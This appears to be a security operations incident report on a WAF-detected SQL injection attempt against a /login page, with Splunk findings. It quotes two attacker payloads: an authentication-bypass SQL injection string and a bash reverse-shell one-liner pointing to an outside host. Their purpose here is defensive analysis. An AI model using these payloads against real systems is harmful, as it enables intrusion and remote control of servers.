

Incident Summary

1) Title Of the Incident

WAF: - SQL Injection (Ticket No: -CS-0213)

2) Incident Details

- **Receive Time:** - 12/25/2024 5:06
- **Source IP:** -
- **Destination IP:** -
- **Destination Port:** - 443
- **Site Name:** -
- **Matched string:** - ' OR '1'='1'; --
- **HTTP Method:** - GET
- **Threat Name:** - SQL Injection
- **Action Taken:** - Allowed
- **Severity:** - High
- **URL:** - /login
- **Direction:** - Inbound

3) Description Of Incident

- On **December 25, 2024, at 05:06**, a **SQL Injection attempt** was detected by the WAF targeting the /login page of . The request originated from and used the payload: ' OR '1'='1'; --
The WAF marked the event as **High severity SQL Injection** but the action was **Allowed**. The server responded with **403 Forbidden**, indicating the attack was unsuccessful.

4) Investigation Summary

Investigation Summary

- **Source IP:**
 - Not part of the internal organization.
 - **Reputation Check (AbuseIPDB):** Not reported as malicious.
 - **ISP:** WIIT AG
 - **Location:** Essen, North Rhine-Westphalia, Germany

Splunk Findings

- **Total Events:** 1,635
 - **Firewall:** 682 events (all allowed)
 - **IPS:** 682 events (all allowed)
 - **WAF:** 271 events → **138 allowed, 133 blocked**
- **WAF Threat Categories Observed:**
 - None → 132 events (95.65%)
 - HTTP Flood → 4 events (2.89%) → benign/normal traffic
 - Remote Code Execution (RCE) → 1 event (0.72%)
 - SQL Injection (SQLi) → 1 event (0.72%)

Key Malicious Events

Remote Code Execution Attempt

- a. **Application Protocol:** HTTP/1.1
- b. **HTTP Method:** GET
- c. **Matched String (Payload):**

```
bash -i >& /test/w/aumentoup.s3.us-east-2.amazonaws.com/8080 0>&1
```

Attempt to establish a reverse shell connection to an attacker-controlled AWS S3 bucket.

- d. **Response Code:** 403 (Forbidden)
- e. **Target URL:** /admin

SQL Injection Attempt

- a. **Application Protocol:** HTTP/1.1
- b. **HTTP Method:** GET
- c. **Matched String (Payload):**

```
' OR '1'='1'; --
```

Classic SQL injection attempt to bypass authentication.

- d. **Response Code:** 403 (Forbidden)
- e. **Target URL:** /login

Both attacks were **detected and logged**. Although the WAF **allowed the initial RCE request**, the server returned **403 Forbidden**, suggesting execution did not succeed. The SQL injection attempt was also blocked at the application level.

5)Action Taken

- **Blocked the source IP (91.194.84.10)** at the **firewall level** to prevent further attack attempts.
- Requested the **WAF team** to fine-tune rules to ensure **RCE and SQLi payloads are blocked** rather than allowed.